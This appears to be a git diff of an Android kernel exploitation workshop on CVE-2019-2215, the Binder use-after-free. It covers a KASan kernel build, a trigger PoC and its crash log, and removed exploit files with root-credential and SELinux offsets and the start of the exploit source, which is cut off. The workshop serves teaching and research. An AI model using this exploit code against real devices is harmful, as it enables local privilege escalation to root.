
                +
                ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
+Not currently on any branch.
+nothing to commit, working tree clean
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
+Not currently on any branch.
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git checkout -- <file>..." to discard changes in working directory)
+
+    modified:   drivers/android/binder.c
+    modified:   lib/iov_iter.c
+
+no changes added to commit (use "git add" and/or "git commit -a")
+
                +

                Patching drivers/android/binder.c is fine and understandable. But, why we need to patch lib/iov_iter.c?

                +

                This is because we are also going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. However, they wrote the exploit for Android 4.4 kernel which does not have these additional checks in lib/iov_iter.c.

                +

                That's the reason we revert these new checks with a patch. You will have better idea what I'm talking about as we proceed with the workshop.

                +

                Build Kernel With KASan

                +

                To build the kernel with KASan support we will need a configuration file. You will find the config file in workshop/build-configs/goldfish.x86_64.kasan directory.

                +
                ARCH=x86_64
+BRANCH=kasan
+
+CC=clang
+CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin
+BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86
+CLANG_TRIPLE=x86_64-linux-gnu-
+CROSS_COMPILE=x86_64-linux-androidkernel-
+LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin
+
+KERNEL_DIR=goldfish
+EXTRA_CMDS=''
+STOP_SHIP_TRACEPRINTK=1
+
+FILES="
+arch/x86/boot/bzImage
+vmlinux
+System.map
+"
+
+DEFCONFIG=x86_64_ranchu_defconfig
+POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config"
+
+function update_kasan_config() {
+    ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \
+         -e CONFIG_KASAN \
+         -e CONFIG_KASAN_INLINE \
+         -e CONFIG_TEST_KASAN \
+         -e CONFIG_KCOV \
+         -e CONFIG_SLUB \
+         -e CONFIG_SLUB_DEBUG \
+         -e CONFIG_SLUB_DEBUG_ON \
+         -d CONFIG_SLUB_DEBUG_PANIC_ON \
+         -d CONFIG_KASAN_OUTLINE \
+         -d CONFIG_KERNEL_LZ4 \
+         -d CONFIG_RANDOMIZE_BASE
+    (cd ${OUT_DIR} && \
+     make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)
+}
+
                +

                Now, let's use this config file and start the build process.

                +
                ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh
+
                +

                You can find the built kernel and other files in workshop/android-4.14-dev/out/kasan/dist.

                +
                ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head 
+000000004cfd027e A __crc_kasan_check_read
+000000009da7c655 A __crc_kasan_check_write
+0000000074961168 A __crc_kasan_kmalloc
+0000000047f78877 A __crc_kasan_restore_multi_shot
+0000000097645739 A __crc_kasan_save_enable_multi_shot
+ffffffff806d4d62 T kasan_add_zero_shadow
+ffffffff806d3a9c T kasan_alloc_pages
+ffffffff806d3b44 T kasan_cache_create
+ffffffff806d55b9 T kasan_cache_shrink
+ffffffff806d55c4 T kasan_cache_shutdown
+
                +

                Boot Kernel

                +

                Let's boot this custom kernel in emulator.

                +
                ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage
+
                +
                +

                Note: -show-kernel flag is used to display kernel debug messages in the terminal window. Read more about emulator command line flags here https://developer.android.com/studio/run/emulator-commandline

                +
                +

                If you look at kernel log being displayed in the terminal window after running the above command, you will notice this

                +
                [    0.000000] kasan: KernelAddressSanitizer initialized
+

                This is an indicator that we are able to successfully boot a custom kernel built with KASan support.

                +

                Crash

                +

                Let's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a KASan crash.

                +

                You can find the trigger PoC in workshop/exploit/trigger.cpp. I have provided a Makefile that you can use to build the PoC and push it to the virtual device.

                +
                #include <fcntl.h>
+#include <sys/epoll.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+
+#define BINDER_THREAD_EXIT 0x40046208ul
+
+int main() {
+    int fd, epfd;
+    struct epoll_event event = {.events = EPOLLIN};
+
+    fd = open("/dev/binder", O_RDONLY);
+    epfd = epoll_create(1000);
+    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+    ioctl(fd, BINDER_THREAD_EXIT, NULL);
+}
+
                +
                ashfaq@hacksys:~/workshop$ cd exploit/
+ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger
+Building: cve-2019-2215-trigger
+Pushing: cve-2019-2215-trigger to /data/local/tmp
+cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)
+
                +
                ashfaq@hacksys:~/workshop/exploit$ adb shell
+generic_x86_64:/ $ uname -a
+Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
+generic_x86_64:/ $ cd /data/local/tmp
+generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger
+generic_x86_64:/data/local/tmp $
+
                +

                Look at the terminal window from where you launched the emulator, you will see the KASan crash log.

                +
                [  382.398561] ==================================================================
+[  382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d
+[  382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
+[  382.409386] 
+[  382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G        W       4.14.150+ #1
+[  382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
+[  382.417931] Call Trace:
+[  382.419106]  dump_stack+0x78/0xbe
+[  382.420596]  print_address_description+0x81/0x25d
+[  382.422146]  ? _raw_spin_lock_irqsave+0x3a/0x5d
+[  382.423691]  __kasan_report+0x14f/0x180
+[  382.425082]  ? _raw_spin_lock_irqsave+0x3a/0x5d
+[  382.426437]  kasan_report+0x26/0x49
+[  382.427468]  check_memory_region+0x171/0x17e
+[  382.428725]  kasan_check_write+0x14/0x16
+[  382.429884]  _raw_spin_lock_irqsave+0x3a/0x5d
+[  382.431010]  remove_wait_queue+0x27/0x122
+[  382.432003]  ? fsnotify_unmount_inodes+0x1e8/0x1e8
+[  382.433156]  ep_unregister_pollwait+0x160/0x1bd
+[  382.434252]  ep_free+0x8b/0x181
+[  382.435024]  ? ep_eventpoll_poll+0x228/0x228
+[  382.435953]  ep_eventpoll_release+0x48/0x54
+[  382.436825]  __fput+0x1f2/0x51d
+[  382.437483]  ____fput+0x15/0x18
+[  382.438145]  task_work_run+0x127/0x154
+[  382.438932]  do_exit+0x818/0x2384
+[  382.439642]  ? mm_update_next_owner+0x52f/0x52f
+[  382.440555]  do_group_exit+0x12c/0x24b
+[  382.441247]  ? do_group_exit+0x24b/0x24b
+[  382.441964]  SYSC_exit_group+0x17/0x17
+[  382.442652]  SyS_exit_group+0x14/0x14
+[  382.443264]  do_syscall_64+0x19e/0x225
+[  382.443920]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
+[  382.444784] RIP: 0033:0x4047d7
+[  382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
+[  382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
+[  382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
+[  382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
+[  382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
+[  382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
+[  382.453146] 
+[  382.453427] Allocated by task 7682:
+[  382.454054]  save_stack_trace+0x16/0x18
+[  382.454738]  __kasan_kmalloc+0x133/0x1cc
+[  382.455445]  kasan_kmalloc+0x9/0xb
+[  382.456063]  kmem_cache_alloc_trace+0x1bd/0x26f
+[  382.456869]  binder_get_thread+0x166/0x6db
+[  382.457605]  binder_poll+0x4c/0x1c2
+[  382.458235]  SyS_epoll_ctl+0x1558/0x24f0
+[  382.458910]  do_syscall_64+0x19e/0x225
+[  382.459598]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
+[  382.460525]  0xffffffffffffffff
+[  382.461085] 
+[  382.461334] Freed by task 7682:
+[  382.461762]  save_stack_trace+0x16/0x18
+[  382.462222]  __kasan_slab_free+0x18f/0x23f
+[  382.462711]  kasan_slab_free+0xe/0x10
+[  382.463149]  kfree+0x193/0x5b3
+[  382.463538]  binder_thread_dec_tmpref+0x192/0x1d9
+[  382.464095]  binder_thread_release+0x464/0x4bd
+[  382.464623]  binder_ioctl+0x48a/0x101c
+[  382.465071]  do_vfs_ioctl+0x608/0x106a
+[  382.465518]  SyS_ioctl+0x75/0xa4
+[  382.465906]  do_syscall_64+0x19e/0x225
+[  382.466358]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
+[  382.466953]  0xffffffffffffffff
+[  382.467335] 
+[  382.467783] The buggy address belongs to the object at ffff88804e486528
+[  382.467783]  which belongs to the cache kmalloc-512 of size 512
+[  382.469983] The buggy address is located 160 bytes inside of
+[  382.469983]  512-byte region [ffff88804e486528, ffff88804e486728)
+[  382.472065] The buggy address belongs to the page:
+[  382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping:          (null) index:0xffff88804e4872a8 compound_mapcount: 0
+[  382.474871] flags: 0x4000000000010200(slab|head)
+[  382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
+[  382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
+[  382.478072] page dumped because: kasan: bad access detected
+[  382.478784] 
+[  382.478973] Memory state around the buggy address:
+[  382.479571]  ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
+[  382.480479]  ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
+[  382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+[  382.482155]                                               ^
+[  382.482806]  ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+[  382.483648]  ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+[  382.484485] ==================================================================
+

                Few things to note from the crash log:

                +
                  +
                • This is a Use after Free vulnerability
                  • +
                • Crashed while writing 4 bytes in the dangling chunk
                  • +
                • The dangling chunk belong to kmalloc-512 cache
                  • +
                +

                KASan Symbolizer

                +

                The above crash log is not very intuitive. We can symbolize the stack traces using kasan_symbolize.py.

                +
                ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/
+
                +
                ==================================================================
+BUG: KASAN: use-after-free in[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
+BUG: KASAN: use-after-free in[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
+BUG: KASAN: use-after-free in[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
+BUG: KASAN: use-after-free in[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
+BUG: KASAN: use-after-free in[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
+Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
+
+CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G        W       4.14.150+ #1
+Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
+Call Trace:
+[<     inline     >] __dump_stack lib/dump_stack.c:17
+[<        none        >] dump_stack+0x78/0xbe lib/dump_stack.c:53
+[<        none        >] print_address_description+0x81/0x25d mm/kasan/report.c:187
+ ?[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
+ ?[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
+ ?[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
+ ?[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
+ ?[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
+[<        none        >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316
+ ?[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
+ ?[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
+ ?[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
+ ?[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
+ ?[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
+[<        none        >] kasan_report+0x26/0x49 mm/kasan/common.c:626
+[<     inline     >] check_memory_region_inline mm/kasan/generic.c:182
+[<        none        >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191
+[<        none        >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106
+[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
+[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
+[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
+[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
+[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
+[<        none        >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50
+ ?[<        none        >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99
+[<     inline     >] ep_remove_wait_queue fs/eventpoll.c:612
+[<        none        >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630
+[<        none        >] ep_free+0x8b/0x181 fs/eventpoll.c:847
+ ?[<        none        >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942
+[<        none        >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879
+[<        none        >] __fput+0x1f2/0x51d fs/file_table.c:210
+[<        none        >] ____fput+0x15/0x18 fs/file_table.c:244
+[<        none        >] task_work_run+0x127/0x154 kernel/task_work.c:113
+[<     inline     >] exit_task_work include/linux/task_work.h:22
+[<        none        >] do_exit+0x818/0x2384 kernel/exit.c:875
+ ?[<        none        >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468
+[<        none        >] do_group_exit+0x12c/0x24b kernel/exit.c:978
+ ?[<     inline     >] spin_unlock_irq include/linux/spinlock.h:367
+ ?[<        none        >] do_group_exit+0x24b/0x24b kernel/exit.c:975
+[<        none        >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989
+[<        none        >] SyS_exit_group+0x14/0x14 kernel/exit.c:987
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+RIP: 0033:0x4047d7
+RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
+RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
+RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
+RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
+R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
+R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
+
+Allocated by task 7682:
+[<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
+[<     inline     >] save_stack mm/kasan/common.c:76
+[<     inline     >] set_track mm/kasan/common.c:85
+[<        none        >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501
+[<        none        >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515
+[<        none        >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819
+[<     inline     >] kmalloc include/linux/slab.h:488
+[<     inline     >] kzalloc include/linux/slab.h:661
+[<        none        >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677
+[<        none        >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805
+[<     inline     >] ep_item_poll fs/eventpoll.c:888
+[<     inline     >] ep_insert fs/eventpoll.c:1476
+[<     inline     >] SYSC_epoll_ctl fs/eventpoll.c:2128
+[<        none        >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+ 0xffffffffffffffff
+
+Freed by task 7682:
+[<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
+[<     inline     >] save_stack mm/kasan/common.c:76
+[<     inline     >] set_track mm/kasan/common.c:85
+[<        none        >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463
+[<        none        >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471
+[<     inline     >] slab_free_hook mm/slub.c:1407
+[<     inline     >] slab_free_freelist_hook mm/slub.c:1458
+[<     inline     >] slab_free mm/slub.c:3039
+[<        none        >] kfree+0x193/0x5b3 mm/slub.c:3976
+[<     inline     >] binder_free_thread drivers/android/binder.c:4705
+[<        none        >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053
+[<        none        >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794
+[<        none        >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062
+[<        none        >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46
+[<     inline     >] SYSC_ioctl fs/ioctl.c:701
+[<        none        >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+ 0xffffffffffffffff
+
+The buggy address belongs to the object at ffff88804e486528
+ which belongs to the cache kmalloc-512 of size 512
+The buggy address is located 160 bytes inside of
+ 512-byte region [ffff88804e486528, ffff88804e486728)
+The buggy address belongs to the page:
+page:ffffea0001392100 count:1 mapcount:0 mapping:          (null) index:0xffff88804e4872a8 compound_mapcount: 0
+flags: 0x4000000000010200(slab|head)
+raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
+raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
+page dumped because: kasan: bad access detected
+
+Memory state around the buggy address:
+ ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
+ ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
+>ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+                                              ^
+ ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+ ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+==================================================================
+

                Isn't this more useful than the previous crash log.

                + + +
                + +
                +
                +
                + +

                results matching ""

                +
                  + +
                  +
                  + +

                  No results matching ""

                  + +
                  +
                  +
                  + +
                  +
                  + +
                  + + + + + + + + + + + + + + +
                  + + +
                  + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/custom-manifest/default.xml b/custom-manifest/default.xml deleted file mode 100644 index 1ccb184..0000000 --- a/custom-manifest/default.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - diff --git a/exploit/CMakeLists.txt b/exploit/CMakeLists.txt deleted file mode 100644 index 8f48de0..0000000 --- a/exploit/CMakeLists.txt +++ /dev/null @@ -1,59 +0,0 @@ -# -# CMake project for CVE-2019-2215 -# - -cmake_minimum_required(VERSION 3.12) - -message( - " - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam -" -) - - -set(NDK_ROOT $ENV{HOME}/Android/Sdk/ndk/21.0.6113669) -set(ADB_PATH $ENV{HOME}/Android/Sdk/platform-tools/adb) - - -if (NOT DEFINED NDK_ROOT) - if (DEFINED $ENV{NDK_ROOT}) - set(NDK_ROOT "$ENV{NDK_ROOT}") - else () - message(FATAL_ERROR "Please define NDK_ROOT to point to your NDK path!") - endif () -endif () - - -# Set the tool chain file -set(CMAKE_TOOLCHAIN_FILE ${NDK_ROOT}/build/cmake/android.toolchain.cmake) -set(ANDROID_ABI x86_64) -set(ANDROID_PLATFORM latest) - - -project(exploit) - - -add_executable(cve-2019-2215-trigger trigger.cpp) -add_executable(cve-2019-2215-exploit exploit.cpp) - - -add_custom_command( - TARGET cve-2019-2215-trigger - POST_BUILD - COMMAND ${ADB_PATH} push cve-2019-2215-trigger /data/local/tmp > /dev/null - COMMENT "Pushing cve-2019-2215-trigger to device" - VERBATIM -) - -add_custom_command( - TARGET cve-2019-2215-exploit - POST_BUILD - COMMAND ${ADB_PATH} push cve-2019-2215-exploit /data/local/tmp > /dev/null - COMMENT "Pushing cve-2019-2215-exploit to device" - VERBATIM -) diff --git a/exploit/Makefile b/exploit/Makefile deleted file mode 100644 index 26aa663..0000000 --- a/exploit/Makefile +++ /dev/null @@ -1,50 +0,0 @@ -# -# Makefile for CVE-2019-2215 -# -# NDK_ROOT=/home/ashfaq/Android/Sdk/ndk/21.0.6113669 make -# - -CXX := clang++ -CXXFLAGS := -static -O3 -Wall -Wextra - -ARCH := x86_64 -NDK_API ?= 29 -CROSS_COMPILE := $(NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64 -TARGET_PLATFORM := $(ARCH)-linux-android - -CXX_PATH := $(CROSS_COMPILE)/bin/$(TARGET_PLATFORM)$(NDK_API)-$(CXX) - -TRIGGER_SRC := trigger.cpp -TRIGGER_OUTPUT := cve-2019-2215-trigger -EXPLOIT_SRC := exploit.cpp -EXPLOIT_OUTPUT := cve-2019-2215-exploit - -# default rule -default: all - -# phony rules -.PHONY: all - -all: clean build-trigger - -build-trigger: - @echo Building: $(TRIGGER_OUTPUT) - @$(CXX_PATH) $(CXXFLAGS) -o $(TRIGGER_OUTPUT) $(TRIGGER_SRC) - -build-exploit: - @echo Building: $(EXPLOIT_OUTPUT) - @$(CXX_PATH) $(CXXFLAGS) -o $(EXPLOIT_OUTPUT) $(EXPLOIT_SRC) - -clean: - @echo Removing: $(TRIGGER_OUTPUT) - @rm -f $(TRIGGER_OUTPUT) - @echo Removing: $(EXPLOIT_OUTPUT) - @rm -f $(EXPLOIT_OUTPUT) - -push-trigger: - @echo Pushing: $(TRIGGER_OUTPUT) to /data/local/tmp - @adb push $(TRIGGER_OUTPUT) /data/local/tmp - -push-exploit: - @echo Pushing: $(EXPLOIT_OUTPUT) to /data/local/tmp - @adb push $(EXPLOIT_OUTPUT) /data/local/tmp diff --git a/exploit/common.h b/exploit/common.h deleted file mode 100644 index d09cec4..0000000 --- a/exploit/common.h +++ /dev/null @@ -1,138 +0,0 @@ -/*++ - - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam - - CVE-2019-2215 - Android Binder Use after Free - CloudFuzz TechnoLabs Pvt. Ltd. - - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html - - Thanks: - @maddiestone - @tehjh - ---*/ - -#pragma once - -#ifndef __COMMON_H__ -#define __COMMON_H__ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -/** - * Defines - */ - -#define BANNER \ - " \n" \ - " ## # # ### ### ### # ### ### ### # ### \n" \ - " # # # # # # # ## # # # # ## # \n" \ - " # # # ## ### ### # # # ### ### ### ### # ### \n" \ - " # # # # # # # # # # # # # \n" \ - " ## # ### ### ### ### ### ### ### ### ### \n" \ - " @HackSysTeam \n" \ - " \n" - -#define INFO(...) printf(__VA_ARGS__) -#define ERR(...) printf(__VA_ARGS__) - - -#define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18 - -#define GLOBAL_ROOT_UID (uint32_t)0 -#define GLOBAL_ROOT_GID (uint32_t)0 -#define SECUREBITS_DEFAULT (uint32_t)0x00000000 -#define CAP_EMPTY_SET (uint64_t)0 -#define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF - - -/** - * System.map - * - * ffffffff80200000 T _stext - * ffffffff816acfe8 B selinux_enforcing - * ffffffff81433ac0 D init_nsproxy - */ - -// -// offset = 0xffffffff81433ac0 - 0xffffffff80200000 -// - -#define SYMBOL_OFFSET_init_nsproxy (ptrdiff_t)0x1233ac0 - -// -// I have found that this offset changes every compile. -// If the exploit fails in patching selinux_enforcing, -// try updating this offset -// - -#define SYMBOL_OFFSET_selinux_enforcing (ptrdiff_t)0x14acfe8 - - -/** - * Data structures - */ - -struct binder_thread { - uint8_t junk1[160]; /* 0 0xa0 */ - uint8_t wait[24]; /* 0xa0 0x18 */ - uint8_t junk2[224]; /* 0xb8 0xe0 */ -} __attribute__((packed)); /* size: 0x198 */ - - -struct task_struct { - uint8_t junk1[1256]; /* 0 0x4e8 */ - pid_t pid; /* 0x4e8 0x4 */ - uint8_t junk2[412]; /* 0x4ec 0x19c */ - uint64_t cred; /* 0x688 0x8 */ - uint8_t junk3[48]; /* 0x690 0x30 */ - uint64_t nsproxy; /* 0x6c0 0x8 */ - uint8_t junk4[1944]; /* 0x6c8 0x798 */ -} __attribute__((packed)); /* size: 0xe60 */ - - -struct cred { - int32_t usage; /* 0 0x4 */ - uint32_t uid; /* 0x4 0x4 */ - uint32_t gid; /* 0x8 0x4 */ - uint32_t suid; /* 0xc 0x4 */ - uint32_t sgid; /* 0x10 0x4 */ - uint32_t euid; /* 0x14 0x4 */ - uint32_t egid; /* 0x18 0x4 */ - uint32_t fsuid; /* 0x1c 0x4 */ - uint32_t fsgid; /* 0x20 0x4 */ - uint32_t securebits; /* 0x24 0x4 */ - uint64_t cap_inheritable; /* 0x28 0x8 */ - uint64_t cap_permitted; /* 0x30 0x8 */ - uint64_t cap_effective; /* 0x38 0x8 */ - uint64_t cap_bset; /* 0x40 0x8 */ - uint64_t cap_ambient; /* 0x48 0x8 */ - uint8_t junk2[40]; /* 0x50 0x28 */ - void *security; /* 0x78 0x8 */ - uint8_t junk3[40]; /* 0x80 0x28 */ -} __attribute__((packed)); /* size: 0xA8 */ - -#endif //__COMMON_H__ diff --git a/exploit/exploit.cpp b/exploit/exploit.cpp deleted file mode 100644 index 7a0732c..0000000 --- a/exploit/exploit.cpp +++ /dev/null @@ -1,991 +0,0 @@ -/*++ - - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam - - CVE-2019-2215 - Android Binder Use after Free - CloudFuzz TechnoLabs Pvt. Ltd. - - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html - - Thanks: - @maddiestone - @tehjh - ---*/ - -#include "exploit.h" - - -/** - * Bind to CPU - */ -void BinderUaF::bindToCPU() { - int ret; - cpu_set_t cpuSet; - - CPU_ZERO(&cpuSet); - CPU_SET(0, &cpuSet); - - // - // It's a good thing to bind the CPU to a specific core, - // so that we do not get scheduled to different core and - // mess up the SLUB state - // - - INFO("[+] Binding to 0th core\n"); - - ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet); - - if (ret < 0) { - ERR("[-] bindCPU failed: 0x%x\n", errno); - } -} - - -/** - * Open the binder device - */ -void BinderUaF::setupBinder() { - INFO("[+] Opening: /dev/binder\n"); - - m_binder_fd = open("/dev/binder", O_RDONLY); - - if (m_binder_fd < 0) { - ERR("\t[-] Unable to get binder fd\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] m_binder_fd: 0x%x\n", m_binder_fd); - } -} - - -/** - * Free the binder thread structure - */ -void BinderUaF::freeBinderThread() { - INFO("[+] Freeing binder_thread\n"); - - ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL); -} - - -/** - * Create the event poll - */ -void BinderUaF::setupEventPoll() { - INFO("[+] Creating event poll\n"); - - m_epoll_fd = epoll_create(1); - - if (m_epoll_fd < 0) { - ERR("\t[-] Unable to get event poll fd\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd); - } -} - - -/** - * Allocate 4GB aligned page - */ -void BinderUaF::mmap4gbAlignedPage() { - if (!m_4gb_aligned_page) { - 